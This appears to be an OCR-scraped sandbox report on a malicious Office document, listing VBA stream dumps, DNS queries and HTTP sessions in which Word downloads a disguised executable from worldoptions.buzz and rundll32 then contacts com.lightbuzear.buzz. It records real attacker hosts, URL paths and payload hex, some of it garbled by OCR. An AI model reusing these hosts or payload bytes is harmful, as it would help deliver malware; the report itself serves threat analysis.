Entropy: 5.135068995536572

Base64 Encoded: True

Data ASCII: ID="{00000000-0000-0000-0000-000000000000}"..Document=ThisDocument/&H00000000..Help
File=""..Name="Project"..HelpContextID="0"..VersionCompatible32="393222000"..CMG="292B8

5D389D389D78DD78D"..DPB="5250FED53AF23AF2C50E3BF2ABC64CD3C2BECB9615553C682C0
E8B5716C68

Data Raw: 49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d Oa 44 6f 63
75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 48 65 6¢ 70 46 69 6¢ 65 3d 22 22 0d Oa 4e 61 6d 65 3d
22 50 72 6f 6a 65 63 74 22 0d Oa 48 65 6¢ 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d Oa 56

Stream Path: PROJECTwm, File Type: data, Stream Size: 41

General

Stream Path: PROJECTwm

File Type: data

Stream Size: 41

Entropy: 3.0773844850752607

Base64 Encoded: False

Data ASCII: ThisDocument.T.h.i.s.D.o.c.u.m.e.n.t.....

Data Raw: 54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3089

General

Stream Path: VBA/_VBA_PROJECT

File Type: data

Stream Size: 3089

Entropy: 4.456644559189449

Base64 Encoded: False

Data ASCII: £}00000000006000000000000000006000 *\.G6.{.0.0.0.2.0.4.E.F.-.0.0.0.0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0
.0.4.6.}.#.4...1.#.9.#.C.:.\.P.R.0.G.R.A.~.1.\.C.O.M.M.O.N.~.1.\.M.1.C.R.O0.S.~.1.\.V.B.A.\\.V.
B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s.i.c. .F.o.r.

Data Raw: cc 61 97 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30

00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30
00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 31 00 23 00

Stream Path: VBA/dir, File Type: data, Stream Size: 470

General

Stream Path: VBA/dir

File Type: data

Stream Size: 470

Entropy: 6.238099893292352

Base64 Encoded: True

Data ASCIIL . O*. ...p..H....d....... Project.Q.(..@..... e gd....J.<..... rstd.ole>..s.t..d.o.l.eP...h
%N..*.\G{00020430-....C....... 0046}#.2.0#0#C:.\Windows.\System3.2\.e2.tlb.#OLE Automation
. ..EOfficEO.f.i.cE...E2DF.8D04C-5B.FA-101B-BDE5SEAAC.4.2EqQgr

Data Raw: 01 d2 b1 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28

000040 02 14 06 02 14 3d ad 02 0a 07 02 6¢ 01 14 08 06 12 09 02 12 80 67 aa fO 64 Oe 00 Oc 02 4a 12 3¢ 02 0a 16 00 01 72 73 74 64 10 6f 6¢ 65 3e
02 19 73 00 74 00 00 64 00 6f 00 6¢ 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5¢ 47 7b 30 30

Network Behavior

Network Port Distribution

Total Packets: 46
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® 53 (DNS)

@ 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Aug 14, 2022 08:39:17.945976019 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:18.100560904 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:18.100760937 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:18.723445892 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:18.878485918 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:18.878959894 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:18.878985882 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:18.879002094 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:18.879014015 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:18.879096031 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:18.879122019 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.303687096 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.461611032 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462470055 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462491989 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462526083 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462543011 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462634087 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.462914944 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462933064 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462959051 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.462960005 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.462995052 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.463001013 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.463002920 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.463025093 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.463037014 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.463043928 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.463082075 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.463135958 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.463186979 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.504666090 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.617491961 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617527962 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617552042 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617577076 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617600918 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617625952 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617670059 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.617697954 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.617759943 CEST 80 49171 64.52.80.45 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 14, 2022 08:39:19.617784023 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.617976904 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618030071 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618055105 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618084908 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618096113 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618220091 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618244886 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618266106 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618280888 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618424892 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618448973 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618468046 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618484974 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618664026 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618689060 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618716002 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618736029 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.618937969 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618963957 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.618989944 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.619014978 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.619157076 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.619174957 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.619206905 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.621609926 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.772519112 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.772553921 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.772572041 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.772588968 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.772686958 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.772694111 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.772703886 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.772725105 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.772736073 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773006916 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773029089 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773068905 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773138046 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773154974 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773179054 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773192883 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773335934 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773376942 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773380041 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773411036 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773596048 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773614883 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773644924 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773660898 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773797989 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773814917 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.773839951 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.773854971 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.774044037 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.774061918 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.774094105 CEST 49171 80 192.168.2.22 64.52.80.45
Aug 14, 2022 08:39:19.774283886 CEST 80 49171 64.52.80.45 192.168.2.22
Aug 14, 2022 08:39:19.774302006 CEST 80 49171 64.52.80.45 192.168.2.22
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UDP Packets

Timestamp

Aug 14, 2022 08:39:17.902492046 CEST
Aug 14, 2022 08:39:17.929238081 CEST
Aug 14, 2022 08:39:26.343050957 CEST
Aug 14, 2022 08:39:26.362221956 CEST
Aug 14, 2022 08:39:28.321213961 CEST
Aug 14, 2022 08:39:28.345190048 CEST

DNS Queries

Timestamp

Aug 14, 2022 08:39:17.902492046 CEST
Aug 14, 2022 08:39:26.343050957 CEST

Aug 14, 2022 08:39:28.321213961 CEST

DNS Answers

Timestamp Source IP
Aug 14, 2022 8.8.8.8
08:39:17.929238081 CEST

Aug 14, 2022 8.8.8.8
08:39:26.362221956 CEST

Aug 14, 2022 8.8.8.8

08:39:28.345190048 CEST

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

A (IP address) IN

(0x0001)

(0x0001)

A (IP address) IN

Source Port Dest Port Source IP Dest IP
55868 53 192.168.2.22 8.8.8.8
53 55868 8.8.8.8 192.168.2.22
49688 53 192.168.2.22 8.8.8.8
53 49688 8.8.8.8 192.168.2.22
58836 53 192.168.2.22 8.8.8.8
53 58836 8.8.8.8 192.168.2.22
Source IP Dest IP Trans ID OP Code Name Type
192.168.2.22 8.8.8.8 Oxde9d Standard query  worldoptio A (IP address)
(0) ns.buzz
192.168.2.22 8.8.8.8 Oxfedl Standard query  www.google.com A (IP address)
(0
192.168.2.22 8.8.8.8 Oxeflc Standard query  com.lightb A (IP address)
(0) uzear.buzz
Dest IP Trans ID Reply Code Name CName Address Type
192.168.2.22  Oxde9d No error (0) worldoptio 64.52.80.45
ns.buzz
192.168.2.22  Oxfedl No error (0) www.google.com 142.250.185.228 A (IP address) IN
192.168.2.22  Oxeflc No error (0) com.lightb 64.52.80.180
uzear.buzz

HTTP Request Dependency Graph

e www.google.com

e com.lightbuzear.buzz

e worldoptions.buzz

HTTP Packets
Session ID Source IP
0 192.168.2.22

. kBytes
T

[T transferred
Session ID Source IP
1 192.168.2.22

. kBytes
Timestamp transferred
Session ID Source IP
10 192.168.2.22

. kBytes
IS transferred
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Source Port

49172

Direction

Source Port

49173

Direction

Source Port

49182

Direction

Destination IP  Destination Port

142.250.185.228 443

Data

Destination IP Destination Port

142.250.185.228 443

Data

Destination IP Destination Port

64.52.80.180 443

Data

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

(0x0001)
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Session ID Source IP
100 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
101 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
102 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
103 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
104 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
105 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
106 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
107 192.168.2.22

. kBytes
Timestam

‘me P transferred
Session ID Source IP
108 192.168.2.22
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Source Port

49272

Direction

Source Port

49273

Direction

Source Port

49274

Direction

Source Port

49275

Direction

Source Port

49276

Direction

Source Port

49277

Direction

Source Port

49278

Direction

Source Port

49279

Direction

Source Port

49171

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.45

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

80

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
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kBytes

Direction
transferred

Timestamp
Aug 14, 2022 0 ouT
08:39:18.723445892

CEST

Aug 14, 2022 2 IN
08:39:18.878959894
CEST

Aug 14, 2022 6 ouT
08:39:19.303687096
CEST
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Data

GET /agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7T XIIz8vjv1TPmuyrc2ylu.png HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: worldoptions.buzz

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:18 GMT

Server: Apache/2.4.41 (Ubuntu)

Last-Modified: Mon, 08 Aug 2022 09:27:12 GMT

ETag: "1375-5e5b76baf9c00"

Accept-Ranges: bytes

Content-Length: 4981

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/png

Data Raw: 91 50 26 31 d9 d9 d9 d9 84 91 5a 34 d1 91 54 94 fa 91 le 1b 97 cad9 d9 59 e8 72 91 26 18 91 26 13 ac 2c 17
3ef9 76 57 12 72 72 72 3f f9 32 6a 3f ff 12 62 3f f9 76 56 8e 3b f9 Oa 12 f8 35 7c 4e 40 06 7a 3f f9 72 3f 4b 92 07 9f 3b f9
02 42 9b ad 72 72 72 23 20 21 27 24 25 3a fb 8f 3a fb 81 24 f9 01 4e f9 c6 6¢ fa 72 72 72 3a 73 ac 24 f9 04 52 3a 73 ac
3a 43 bb 3a 8d bb 3 07 72 al b2 df c8 8d b3 df 3a 73 aa 24 3a 43 84 7d cc 62 4a a4 06 78 b3 bc 75 73 a4 3a 8d b2 99 9d
4b 07 72 2c 07 ad 28 3a fb ad f9 28 56 3a 73 89 14 f9 7e 39 f9 28 6e 3a 73 89 f9 76 f9 3a 73 8a 3a fb 37 72 2c 3a fl b7 7a
f10f 72 72 07 e3 2d 2c 2f 29 28 2b b1 3a fb 94 32 2 96 82 22 21 23 20 3a f9 2c 7a 3af9 24 62 3a b5 b3 6e 7272728 71
fa 76 78 3a 8d b1 3a 8d b0 f2 49 72 07 82 b4 76 78 72 3a f9 34 62 3a f1 9e 52 3a fb b3 8d e5 fa 72 72 72 3a f1 b6 52 f1 8a
8d 3af93c6a06 76 fb 7399 74b57372727272282b 29 2a3afb86b06a7218 72 18 72 3afb 95 b5 75 c6 eb 01 d6
9a 7d 8d 8d 8d 3a f1 9e 52 3a b5 b3 72 72 72 72 3a b5 b0 72 72 22 72 3b b5 b2 72 42 72 72 3b b5 b3 32 72 72 72 8d 65
3a fl b6 52 3a 1 b6 62 3a fb b5 b5 35 7a e2 Oc 73 13 b5 35 62 93 c6 4e c4 b5 35 3a 45 99 4b 0d b5 35 32 4c¢ 1d 20 7c b5
35 22 4d 2f 80 6¢ b5 35 42 f1 67 44 03 b5 35 6a 32 80 3b 5¢ b5 35 52 98 50 a2 4b b5 35 5a 65 3f c0 be b5 35 4a f6 d4 d2
37 b5 35 2af0 9d 7d c9 b5 35 12 01 d7 48 03 b5 35 1a 2e 40 c¢7 a9 b5 35 02 3a 35 54 2d b5 35 0a 3 4¢c 78 12 b5 {5 f2 72
7272 0fabb4 41 b5f5fa72 727218 c5 7ach b5 f5 e2 72 72 72 ba c6 09 62 b5 f5 ea 72 72 72 ac c1 ¢4 35 b5 75 c6 eb
01d6b5f5d2727272ee088201b5f5da72727210 bd 34 cfb5f5c2 7272 72 d8 8b 39 50 b5 f5 ca 72 72 72 18 3d
T7acbb5f5b2 72727224 6d7073b5f5ba727272aa0cadd2b5f5a2727272538393fd9a 72 8c 8d 8d 3afl 9e
523ab5b3727272723ab5b0727273723bb5b2726272723bb5b3767272728d653aflb6523a77728c
7272 3afbf542 73 7272 3aff f7 65 60 72 72 3a ff fd 36 73 72 72 3a fb b9 8 62 fa 63 3a 8d b2 3a 8d b3 f2 4a 72 07 83
18 72 3a ff 76 56 3a f1 9e 52 3a fb b3 8d 5 d2 72 72 72 3a f1 b6 52 3a f1 b6 7a 3a f1 9e 32 3a ff 2e 56 62 3a f1 9e 52 3a
fbab8de5e2 727272 3aflb65214f9 7114 fbf54a737272f81170f8317414fbf54e7372723aflb6 3214 f9
f54a737272b39262 14195 4e737272fbf532 73727213 cd32737272757894757dfd287c72723affff466
07272 3affed36 737272 3afff5ad 77 7272 22 21 23 9aea 8f 8d 8d 3afl cd ad 77 72 72 72 06 56 f3 cd 32 73 72 72
737894 750c 7e b4 59577 72 72 70 9b 05 73 72 72 b4 5 95 77 72 72 73 9b 19 73 72 72 3a ff ff 4c 60 72 72 3a ff ed 36
737272 3afff5b6 77 72 72 22 21 23 9a 3f 8f 8d 8d 3a f1 cd b6 77 72 72 72 06 56 f3 cd 32 73 72 72 74 78 94 75 Oc 7e
b4 f5 be 77 72 72 70 9b 5e 73 72 72 b4 f5 be 77 72 72 73 9b 52 73 72 72 3a ff ff 23 60 72 72 3a ff ed 36 73 72 72 3a ff f5
9a 777272 2221239a708f8d8d3aflcd9a77 7272720656 f3cd327372726e7b94750c 7e b4 582777272
709b 9372 7272b4f58277 727273 9b a7 7272 72 3affff 3560 72 72 3a ff ed 36 73 72 72 3a ff f5 bf 77 72 72 22 21
23 9ac5 8e

Data Ascii: P&1Z4TYr&&,>VWrrr?2j?b?vV;5|N@z?r?K;Brrr# '$%::$NIrrr:s$R:s:C:r:s$:ClbIxus:Kr,(:(V:s~9(n:sv:s:7r,:zrr-,/)
(+:2"4 :,zz$b:nrrrquxc:irvxr:db:R:rrr:R:<jvstsrrrr(+)*:jrrr:ul:Rerrrrirer;rBrr; 2rrre:R:b:5zs5bN5:EK52L [5"M/I5BgD5j2;\5R
PK5Ze?5J75*}5H5.@5:5T-5LxrrrArrrzrrrbrresurrrrrrdrrrQPrrr=zrrr$mpsrrrrrrSr:R:rrrrrrsr;rbrr;vrrre: R:wrrr:Bsrrie ' rr:6srr:
be::JrrvwWiR:nmR:z:2:.Vb:R:rrr:RgJsrrp1tNsrr:2JsrrbNsrr2srr2srruxul(|rr: Frr:6srrwrr #wrrrV2Srsxu~Wrrpsrrwrrssir:L
rEGSITWIT 2wV 2SrrtXU~WITpASITWITSRSIT:# rr:6srr:wrr #p:wrrrV2srrn{u~wIrprrrwrrsrrr:5 rr:6srr:wrr 1

GET /agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXII1z8vjv1TPmuyrc2ylu.mp4 HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: worldoptions.buzz

Connection: Keep-Alive
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kBytes

Timestamp T Direction
Aug 14, 2022 8 IN
08:39:19.462470055
CEST
Session ID Source IP Source Port
11 192.168.2.22 49183

. kBytes . .
Tim m Direction

eStamp transferred ectio

Session ID Source IP Source Port
12 192.168.2.22 49184

. kBytes . .
Ti Di

imestamp transferred irection
Session ID Source IP Source Port
13 192.168.2.22 49185
Timestamp L Direction

transferred
Session ID Source IP Source Port
14 192.168.2.22 49186
Timestamp e Direction
transferred

Session ID Source IP Source Port
15 192.168.2.22 49187
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Data

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:19 GMT

Server: Apache/2.4.41 (Ubuntu)

Last-Modified: Tue, 09 Aug 2022 20:42:33 GMT

ETag: "5c800-5e5d4f8c46040"

Accept-Ranges: bytes

Content-Length: 378880

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: video/mp4

Data Raw: 61 73 64 66 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 ef 75 51 61 8e 1b 02 61 8e 1b 02 61 8e 1b 02 bc 71 cb 02 60 8e 1b 02 27 df fa
02 2a 8e 1b 02 27 df fb 02 b4 8e 1b 02 27 df c4 02 6d 8e 1b 02 bc 71 d0 02 6¢ 8e 1b 02 61 8e 1a 02 1a 8e 1b 02 6¢ dc fe
02 68 8e 1b 02 6¢ dc c¢7 02 60 8e 1b 02 6¢ dc c0 02 60 8e 1b 02 6¢ dc c5 02 60 8e 1b 02 52 69 63 68 61 8e 1b 02 00 00
00 00 00 00 00 00 50 45 00 00 64 86 06 00 93 5b f2 62 00 00 00 00 00 00 00 00 fO 00 22 20 Ob 02 Oc 00 00 fa 03 00 00 f6
01 00 00 00 00 00 40 3f 02 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06
00 00 00 00 00 00 00 00 30 06 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00
00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 0 60 05 00 63 00 00 00 44 61 05 00 8¢ 00 00
00 00 10 06 00 e0 01 00 00 00 dO 05 00 78 33 00 00 00 00 00 00 00 00 00 00 00 20 06 00 30 Ob 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 dO 04 00 70 00 00 00 00 00 00 00 00
00 00 00 00 10 04 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78
74 00 00 00 8e f8 03 00 00 10 00 00 00 fa 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64
61 74 61 00 00 9a 5d 01 00 00 10 04 00 00 5e 01 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64
61 74 61 00 00 00 60 54 00 00 00 70 05 00 00 2a 00 00 00 5¢ 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e
7064 61 74 61 00 00 78 33 00 00 00 dO 05 00 00 34 00 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
2e 72 73 72 63 00 00 00 0 01 00 00 00 10 06 00 00 02 00 00 00 ba 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
40 2e 72 65 6¢ 6f 63 00 00 30 Ob 00 00 00 20 06 00 00 Oc 00 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 48 83 ec 28 48 8d 15 d5 96 04 00 48 8d 0d fe 7b 05 00 41 b8 40 00 00 00 e8

Data Ascii: asdf@!L!This program cannot be run in DOS mode.$%uQaaaq *"mglalhl’I'I'RichaPEd[b" @?0" cDax3 Op.text
“.rdata]*@@.data Tp*\@.pdatax34@@.rsrc@@.relocO @BH(HH{A@

Destination IP Destination Port Process

64.52.80.180 443 C:\Windows\System32\rundll32.exe
Data

Destination IP  Destination Port Process

64.52.80.180 443 C:\Windows\System32\rundll32.exe
Data

Destination IP Destination Port Process

